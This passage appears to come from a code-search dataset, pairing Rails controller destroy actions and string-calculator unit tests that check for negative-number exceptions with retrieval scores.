deleted.'\n redirect_to :action => 'list'\n else\n flash[:notice] = '[Error] Updating failed.'\n redirect_to :back\n end\n end", "title": "" }, { "docid": "02f52a5f148e3c09e0cd7cd028d2536a", "score": "0.6977091", "text": "def deletenews\n News.find(params[:id]).destroy\n redirect_to \"/admin\"\nend", "title": "" }, { "docid": "f2072865790c639b6c64a35b5c843ba0", "score": "0.6976206", "text": "def destroy\n @admin.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "84ef60660240d57066f0a1d474cce722", "score": "0.69701135", "text": "def delete\n end", "title": "" }, { "docid": "4ef1d7bf58514348970fb5a81f2d2be0", "score": "0.69646764", "text": "def destroy\n \n @article.destroy #Destroy\n #danger will give the alert a red background\n flash[:danger] = \"Article was deleted successfully\" # Notify\n redirect_to articles_path #Redirect\n end", "title": "" }, { "docid": "29abbc1d135c7892a9d307589a02399d", "score": "0.6946256", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n \n respond_to do |format|\n format.html { redirect_to articles_url }\n format.xml { render :nothing => true }\n end\n end", "title": "" }, { "docid": "2f0df61f9fb4ef9b10bea9b7f0160b0b", "score": "0.6946099", "text": "def delete\n end", "title": "" }, { "docid": "936a2c02f8bcdf1c155f9c8d4441373f", "score": "0.6939738", "text": "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "493c30e29c2c01c436c7a87ddd14b432", "score": "0.69197935", "text": "def destroy\n expire_one(params[:id])\n\n @article = Article.find(params[:id])\n @article.destroy\n @menu = Menu.find_by_article_id(params[:id])\n if !@menu.nil?\n @menu.destroy\n end\n respond_to do |format|\n format.html { redirect_to(admin_articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "389ce92c20bde9a33e40c33e7dd8fde1", "score": "0.6915948", "text": "def destroy\n #@article = current_user.articles.find(params[:id])\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4b0b31ac1044ca4091c4e92692abbc5b", "score": "0.6911976", "text": "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "69486bcfdc5d927ef53779b114b7619f", "score": "0.68680304", "text": "def destroy\n if !@article.draft\n minus_category(@article.category)\n end\n @article.destroy\n respond_to do |format|\n format.html { redirect_to admin_articles_path, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08bb5eae1a7b3241eef97c4663adf1dd", "score": "0.6860864", "text": "def destroy\n authorize! :destroy, @article\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "921d53e1897ff8b4658104ac24e1517b", "score": "0.68570155", "text": "def destroy\n authorize @article\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bfecae1b1e98222d3a259e93effe7fb6", "score": "0.6830506", "text": "def destroy\n # authorize\n authorize! :delete, @article_category\n @article_category.destroy\n \n render nothing:true\n flash[:notice] = 'Xóa chuyên mục bài viết thành công.'\n end", "title": "" }, { "docid": "f2c69eae3d40df572b9902d4873f3e24", "score": "0.6829247", "text": "def destroy\n @etiquetage = Etiquetage.find(params[:id])\n @etiquetage.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_etiquetages_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d2431d5c4c7b2706d76d390a5027603a", "score": "0.68254054", "text": "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cbf4f1eeefc0f5ffbca278ba3aac609c", "score": "0.6823878", "text": "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: '記事を削除しました' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd162c55929d6fb09642e0214e661ef8", "score": "0.6819317", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy if @article.user_id = current_user.id\n\n respond_to do |format|\n format.html { redirect_to(board_path(@board)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.68124616", "text": "def delete\n end", "title": "" }, { "docid": "fc8292734581610be894db8958764d57", "score": "0.6802948", "text": "def destroy\n @article = Article.where(:user_id => current_user.id).find(params[:id])\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "64dbc746b4f8a648798ff85987b48726", "score": "0.6798122", "text": "def destroy\n @article ||= Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d36fbd6e1c7f0c4b93e666a040d2b11b", "score": "0.6795989", "text": "def destroy\n @article = Article.unscoped.find(params[:id])\n @category = @article.category\n\n unless current_user.is_admin? or (current_user == @article.author and !@article.is_verified?)\n raise ActionController::RoutingError.new('Not Found')\n end\n\n @article.destroy\n\n respond_to do |format|\n format.html { \n if params[:raw]\n redirect_to articles_path(raw: true), flash: { success: \"删除成功\" }\n else\n redirect_to @category, flash: { success: \"删除成功\" }\n end\n }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8dd063a5ca378997d97cc1a171d9cf0f", "score": "0.6795812", "text": "def destroy\n # find_article\n @passenger.destroy #or @article.destroy?\n redirect_to passenger_path\n end", "title": "" }, { "docid": "c05142ed6ed3fdd69b90d4e7ae45fad4", "score": "0.6794514", "text": "def destroy\n authorize Article\n\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80d80a248c0a61c49e002d1163e47479", "score": "0.6785408", "text": "def destroy\n respond_to do |format|\n if @article.destroy\n format.html { redirect_to action: :index }\n end\n end\n end", "title": "" }, { "docid": "0fa096078f205498d86956c8d2104a1f", "score": "0.67840123", "text": "def destroy\n\t\t@article.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.67833143", "text": "def delete\n\n end", "title": "" }, { "docid": "cd1302ebd3a98d52f0e976b18c9e92aa", "score": "0.67726505", "text": "def destroy\n @article = Article.find(params[:article_id])\n @comment.destroy\n redirect_to article_path(@article), notice: \"Comment was successfully destroyed.\" \n \n end", "title": "" }, { "docid": "d198d918e5dcdafaa856f61931f2cd07", "score": "0.67715454", "text": "def destroy\n @article.destroy\n respond_to do |format|\n # format.html design Template\n format.html { redirect_to articles_url, notice: 'Artigo apagado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "432977f8df36f5aa31f1becfb8839bd6", "score": "0.67682356", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "432977f8df36f5aa31f1becfb8839bd6", "score": "0.67682356", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "432977f8df36f5aa31f1becfb8839bd6", "score": "0.67682356", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" } ]
00a5936b192152861479bf9d3153f16c
The Add method should throw an exception when called with an input containing at least one negative number.
[ { "docid": "62c079380347ca3f3f3049a34a100cbf", "score": "0.0", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration7\n # Arrange.\n @inputValue = '//$$\\n1$$-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" } ]
[ { "docid": "387b2052e1c0ddadc67b2625b7d6c6cf", "score": "0.71164185", "text": "def add_nums(num_1, num_2)\n return num_1.to_i + num_2.to_i\n raise ArgumentError, \"Enter Positive Number\" unless num_1 > 0\nend", "title": "" }, { "docid": "887280f7b72bd208cc53c339757a7946", "score": "0.68842596", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber4\n # Arrange.\n @inputValue = '-1;-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b5a43ca563c68f790369283f2756cad8", "score": "0.6866008", "text": "def test_reject_negatives\n assert_raise( NegativeNumbersNotAllowed ) { @@calc.add(\"-7\") }\n assert_raise( NegativeNumbersNotAllowed ) { @@calc.add(\"-7,-4,-1\") }\n assert_raise( NegativeNumbersNotAllowed ) { @@calc.add(\"3,-4,1\") }\n end", "title": "" }, { "docid": "75354ec9d3e7b2efafd8cb05f15ff3a1", "score": "0.6837278", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber7\n # Arrange.\n @inputValue = '-1\\n-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "501abf31bb3037f4b6b2bc072ca8f4e0", "score": "0.68099844", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber1\n # Arrange.\n @inputValue = '-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "53c77756e80783b1614916f03050bfe5", "score": "0.6750496", "text": "def test_add__negative\n result = add(1,-4)\n assert_equal(-3, result)\n end", "title": "" }, { "docid": "4335fc5a5a11253c61302e511f11139d", "score": "0.6739148", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber8\n # Arrange.\n @inputValue = '-1\\n-2;-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "a521fd34b13bc226f08c923c53a24935", "score": "0.66366726", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber3\n # Arrange.\n @inputValue = '1;-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0fa91b2d9472a0bb2b864a97244cb87b", "score": "0.66069365", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber2\n # Arrange.\n @inputValue = '-1;2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e912ae792c3cb959788a2eb4743f7c5c", "score": "0.65233046", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration104\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-1-5-2-6-3-4'\n @errorMessage = 'Negatives not allowed : -4, -5, -6, -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "cee8a5bcc54845be46cc30f77d17b27e", "score": "0.64893603", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration88\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1+-2!-3#-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -3, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "bb2c3f9ac2230e95633aa3325c635d3b", "score": "0.64832014", "text": "def add(*array)\n sum = 0\n array.each { |a| sum += a }\n puts \"The sum of following elements #{array} is #{sum}\"\nrescue StandardError\n puts 'Error: Please provide number only!'\nend", "title": "" }, { "docid": "1b560353c001abd93c9e12c4b07a5b71", "score": "0.6475985", "text": "def plus\n error_msg\n @inputs.push( @inputs.pop + @inputs.pop )\n end", "title": "" }, { "docid": "59b3d92c02ebee3d296b65d1fbc2d056", "score": "0.64648", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration103\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-3-5-16'\n @errorMessage = 'Negatives not allowed : -4, -5'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "edc3c52c161dc42510bbff15564e2517", "score": "0.6458834", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber6\n # Arrange.\n @inputValue = '1\\n-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "08af0e031fa78c84ac05f8808bf3d7d8", "score": "0.64574885", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration101\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-1-5-26'\n @errorMessage = 'Negatives not allowed : -4, -5'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "211ce689d633b0c228d9e4c9f0135b99", "score": "0.6452814", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumber5\n # Arrange.\n @inputValue = '-1\\n2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8e059a8b5656ad27e3a6fd04099948f7", "score": "0.6432255", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration102\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-2-5-36'\n @errorMessage = 'Negatives not allowed : -4, -5'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "80a19838b6f78e8b1a1cafce0f7a02f6", "score": "0.6428015", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration94\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1!!-2##3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "49aee325899aa8620f4090e7931db1a3", "score": "0.6416592", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration80\n # Arrange.\n @inputValue = '//[[][]]\\n-1[-2]-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "298ddff596a6439bf463bca7d0200ee0", "score": "0.64019966", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration93\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1++-2!!3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "691419428c8feea757012b53ee8a0d4e", "score": "0.63929534", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration40\n # Arrange.\n @inputValue = '//[-1]\\n-2-1-2'\n @errorMessage = 'Negatives not allowed : -2, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "2527219f9db4d575ca321ac1cfeb380e", "score": "0.6382796", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration78\n # Arrange.\n @inputValue = '//[[][]]\\n-1[-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7acb445936ffcd6b212072078bcd7cd7", "score": "0.6381731", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration64\n # Arrange.\n @inputValue = '//[**][%%]\\n-1**-2%%-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "75da4766b063b9005ebd20903e18beff", "score": "0.637399", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration48\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-1-4-2-3'\n @errorMessage = 'Negatives not allowed : -3, -4, -3'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "00e33fb2e3e7ed44ee1d7d56813805bd", "score": "0.63599247", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration95\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1##-2++3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c5167c195dcd220dbfa51a5b6b8465ef", "score": "0.6353691", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration79\n # Arrange.\n @inputValue = '//[[][]]\\n-1]-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "012ca4bc10fbbccefe5b1508572d92ea", "score": "0.63457024", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration39\n # Arrange.\n @inputValue = '//[-1]\\n2-1-3'\n @errorMessage = 'Negatives not allowed : -3'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3888eece03b943187d6f7479e4beb4c4", "score": "0.63455683", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration21\n # Arrange.\n @inputValue = '//[$]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "de778f3f8d6ad7e9c5e2327841878739", "score": "0.6343795", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration96\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1++-2!!-3##-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -3, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "1079abb4ab9afcc9a4b84b8af668b89b", "score": "0.63350934", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration63\n # Arrange.\n @inputValue = '//[**][%%]\\n-1%%-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "de63584517f99604290b4b4130667aad", "score": "0.6334687", "text": "def test_5_fail_on_non_numbers\r\n\t\tresults = add(\"a\", \"b\")\r\n\t\tassert_equal(false, results)\r\n\tend", "title": "" }, { "docid": "d266b0d4d1847cd117a1aea2aa110cf8", "score": "0.63330746", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration24\n # Arrange.\n @inputValue = '//[$]\\n-1$-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9a00e7dcd64b9135fa86c9c4bed4d78e", "score": "0.63327056", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration89\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8ebe2b9d874a5c7ec45ee4561ecd18f3", "score": "0.6327043", "text": "def add(numbers)\n\t\t# Return zero if the input is null, empty string or whitespace.\n if numbers.nil? or numbers.to_s.empty? or numbers.to_s.strip.empty?\n return 0\n end\n\n @errorMessages = []\n\n # Detect and set any given custom separator.\n numbers = self.handleCustomSeparators(numbers)\n\n # Detect any negative numbers in the input and create an error message if any are found.\n self.handleNegativeNumbers(numbers, @errorMessages)\n\n # Detect any unregistered or unsupported separators and create an error message if any are found.\n self.handleUnregisteredSeparators(numbers, @errorMessages)\n\n # Calculate the sum of the given numbers and detect and errors in the input.\n @sum = self.processNumbers(numbers, @errorMessages)\n\t\t\n # Throw an exception if any errors were detected.\n if @errorMessages.length > 0\n raise Exception.new(@errorMessages.join('\\n'))\n end\n\n return @sum\n\tend", "title": "" }, { "docid": "f536b5d2b61fc06c89178d10119d6bea", "score": "0.63228595", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration46\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-1-4'\n @errorMessage = 'Negatives not allowed : -3, -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "48b2c62b04003dc5e74aebf5dc0f8c41", "score": "0.6320773", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration73\n # Arrange.\n @inputValue = '//[[][]]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "4a4c8570be35cd9cd97e5041b82d355a", "score": "0.6320334", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration91\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1!!2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3b9bbd1851823a52587bc9a84e82d374", "score": "0.6319175", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration58\n # Arrange.\n @inputValue = '//[**][%%]\\n-1**2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "74b3731d4783d12de463ee5a1a1ff2d6", "score": "0.6317995", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration49\n # Arrange.\n @inputValue = '//[*][%]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8922b52992b7fc4494384f8720b929f3", "score": "0.6317361", "text": "def add(number)\n \n end", "title": "" }, { "docid": "1646e88d2110971d46f9c22478fdd94a", "score": "0.6316359", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration16\n # Arrange.\n @inputValue = '//\\n\\n-1\\n-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "600bf3514b40ce1e26edc3fcfe62c6fc", "score": "0.63093865", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration98\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-15'\n @errorMessage = 'Negatives not allowed : -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ffe57e1a2556c9cfb8c81ed9531a2d71", "score": "0.63090897", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration43\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-24'\n @errorMessage = 'Negatives not allowed : -3'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "715e115bc0faf1313518bcbf527a6410", "score": "0.63076484", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration47\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-2-4'\n @errorMessage = 'Negatives not allowed : -3, -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8aefd15e5d2619946b399870771c4cc0", "score": "0.63074976", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration99\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-25'\n @errorMessage = 'Negatives not allowed : -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "56755d3eeee7a59a5d3087f0252c4ceb", "score": "0.63066876", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration113\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e715d4a7bfc3948a15601d4283c0720a", "score": "0.630234", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration114\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1?2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e567c6c5f541cb329b55261d2c809615", "score": "0.62987554", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration38\n # Arrange.\n @inputValue = 